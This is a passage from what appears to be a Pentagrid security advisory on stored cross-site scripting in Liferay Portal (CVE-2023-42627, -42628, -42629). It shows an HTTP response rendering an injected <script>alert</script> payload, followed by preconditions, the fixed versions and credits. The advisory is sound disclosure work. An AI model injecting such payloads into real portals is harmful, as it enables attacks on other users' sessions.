multiValued,required0 -----------------------------23385551494836211141651886319 Content-Disposition: form-data; name="p_auth" GgaH6PDc -----------------------------23385551494836211141651886319--
Later, when a user requests a vocabulary entry, for example via a HTTP GET request to /group/speedwell/~/control_panel/manage/-/categories_admin/vocabulary/35897, the HTTP response is:
HTTP/1.1 200 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate Pragma: no-cache Liferay-Portal: Liferay Community Edition Portal Content-Type: text/html;charset=UTF-8 Date: Mon, 16 Oct 2023 11:05:58 GMT Connection: close Content-Length: 128719 [...] <div class="sheet sheet-full"> <h2 class="sheet-title"> <div class="autofit-row autofit-row-center"> <div class="autofit-col"> MyCategory </div> [...] <div class="mb-2"> <span class="mr-1">Description:</span> <span class="text-break text-secondary"><script>alert("description")</script></span> </div> </div> [...]
Precondition
The affected modules must be enabled and used. Furthermore, an attacker must have the permission to enter the corresponding data. So it depends how the permissions are defined in a specific Liferay Portal instance.
It may be possible that guests are allowed to submit wiki pages or order products without a user account. Though adding new vocabulary to categories or regions to countries may be reserved for users with higher privileges.
Recommendation
Pentagrid recommends to update the Liferay Portal version. According to Liferay:
CVE-2023-42627 is fixed in Liferay Portal 7.4.3.92.
CVE-2023-42628 is fixed in Liferay Portal 7.4.3.88.
CVE-2023-42629 is fixed in Liferay Portal 7.4.3.88.
Credits
These vulnerabilities have been found by Michael Oelke (Pentagrid). We would like to thank Samuel Kong (Liferay) for the professional handling of the security issues.